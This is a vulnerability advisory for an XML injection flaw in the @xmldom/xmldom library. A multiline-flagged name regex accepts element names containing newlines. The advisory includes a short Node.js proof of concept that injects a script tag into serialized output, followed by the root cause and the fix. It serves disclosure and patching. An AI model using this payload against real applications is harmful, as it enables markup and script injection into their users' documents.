CVE-2026-83609: @xmldom/xmldom XML Injection via Line Terminator in QName Validation
A newline character inside an XML element or attribute name tricks xmldom's name validator into accepting malformed input, letting an attacker inject raw markup into serialized XML output.

The problem
xmldom's DOM creation APIs (createElementNS, createAttributeNS, createDocumentType, createAttribute) are required by the WHATWG spec to reject invalid XML names with an InvalidCharacterError. The check uses a QName_exact regex built by the shared reg() helper in lib/grammar.js.
Because reg() always compiles patterns with the multiline flag, the anchors ^ and $ match line boundaries, not string boundaries. A name whose first line is a valid QName passes the test even when subsequent lines contain arbitrary markup. That markup is stored in the DOM and emitted verbatim on serialization, including on the default (non-strict) path.
Enabling requireWellFormed: true does not help because the same flawed regex is reused there.
Proof of concept
A working proof-of-concept for CVE-2026-83609 in @xmldom/xmldom, with the exact payload below.
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const doc = impl.createDocument('urn:x', 'root', null);
// '\n' splits the name across lines; the regex sees 'a' on line 1 (valid) and ignores the rest
const el = doc.createElementNS('urn:x', 'a\n><script>x</script');
doc.documentElement.appendChild(el);
console.log(new XMLSerializer().serializeToString(doc));
// Output:
// <root xmlns="urn:x"><a
// ><script>x</script/></root>
// ^^^^^^^^^^^ injected markup
// Confirm the guard is active for non-newline bad names (throws):
// doc.createElementNS('urn:x', 'bad>name'); // => InvalidCharacterErrorThe root cause is CWE-625 (Permissive Regular Expression). The reg() builder always passes the m flag to RegExp, so QName_exact = /^...$/ treats ^ and $ as line anchors. A name like 'a\n><script>x</script' satisfies the first-line check ('a' is a valid QName) while the second line is unconstrained.
The name is stored as-is and emitted verbatim on both serialization paths.
The patch (commit 7b2ec67) makes name validation reject any string containing a Unicode LineTerminator (U+000A, U+000D, U+2028, U+2029) before the regex is even applied, so the multiline anchor behavior can no longer be exploited. No previously valid name is rejected by the change.
The fix
Upgrade @xmldom/xmldom to 0.9.12 or later. The fix is in commit 7b2ec67e1750daadd0bb06c92e875e726544a362 (PR #1071). createElementNS, createAttributeNS, createDocumentType, and createAttribute now reject any name containing a line terminator with InvalidCharacterError before the regex check runs.
Related research
- highCVE-2026-83618CVE-2026-83618: @xmldom/xmldom requireWellFormed DocType Injection Bypass via Embedded Line Terminator
- highCVE-2026-83617CVE-2026-83617: @xmldom/xmldom requireWellFormed QName Check Bypass via Embedded Line Terminator
- highCVE-2026-83607CVE-2026-83607: @xmldom/xmldom Element Name Injection via createElement()
- highCVE-2026-83605CVE-2026-83605: @xmldom/xmldom Attribute Name Injection via setAttribute()